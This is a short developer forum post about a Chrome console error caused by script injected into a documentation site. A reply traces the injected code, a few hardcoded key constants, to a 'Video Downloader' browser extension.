I built this documentation app:
https://help-service-parts.fireflysemantics.com/
When I open Chrome developer tooling console tab and click in the search field I see that it generates the error:
VM34 layout.js:1 Uncaught SyntaxError: Identifier 'API_PUBLIC_KEY' has already be en declared
If the error is clicked on it reveals the code pasted below. I tried searching for this in the code base, but I don't see it, so I think it's added by a Google Chrome plugin (I also don't see it in other browsers). How do I find the plugin that is adding this:
const API_PUBLIC_KEY = "0DM2OgjXxj";
const MEMBER_HASH = "UUITtSMj";
const PANEL_HASH = "iY5qPRe9QQ";
const PRIVATE_KEY = "nnCBmSM2JzNIbhY7k3bHrJghZnxhub32";

This seems to be part of "Video Downloader" extension.
Disabling it gets rid of the problem. Yes, it smells very shady.
